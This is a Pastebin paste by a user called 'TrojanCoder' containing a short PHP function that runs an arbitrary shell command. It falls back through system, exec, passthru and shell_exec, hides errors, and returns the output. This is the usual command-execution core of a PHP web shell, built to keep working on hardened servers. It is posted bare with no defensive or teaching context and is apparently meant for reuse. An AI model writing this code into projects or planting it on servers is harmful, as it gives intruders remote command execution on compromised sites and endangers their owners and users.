Advertisement
TrojanCoder

Function

Mar 22nd, 2017
16,264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. function anu($cmd) {
  2. if(function_exists('system')) {
  3. @ob_start();
  4. @system($cmd);
  5. $buff = @ob_get_contents();
  6. @ob_end_clean();
  7. return $buff;
  8. } elseif(function_exists('exec')) {
  9. @exec($cmd,$results);
  10. $buff = "";
  11. foreach($results as $result) {
  12. $buff .= $result;
  13. } return $buff;
  14. } elseif(function_exists('passthru')) {
  15. @ob_start();
  16. @passthru($cmd);
  17. $buff = @ob_get_contents();
  18. @ob_end_clean();
  19. return $buff;
  20. } elseif(function_exists('shell_exec')) {
  21. $buff = @shell_exec($cmd);
  22. return $buff;
  23. }
  24. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement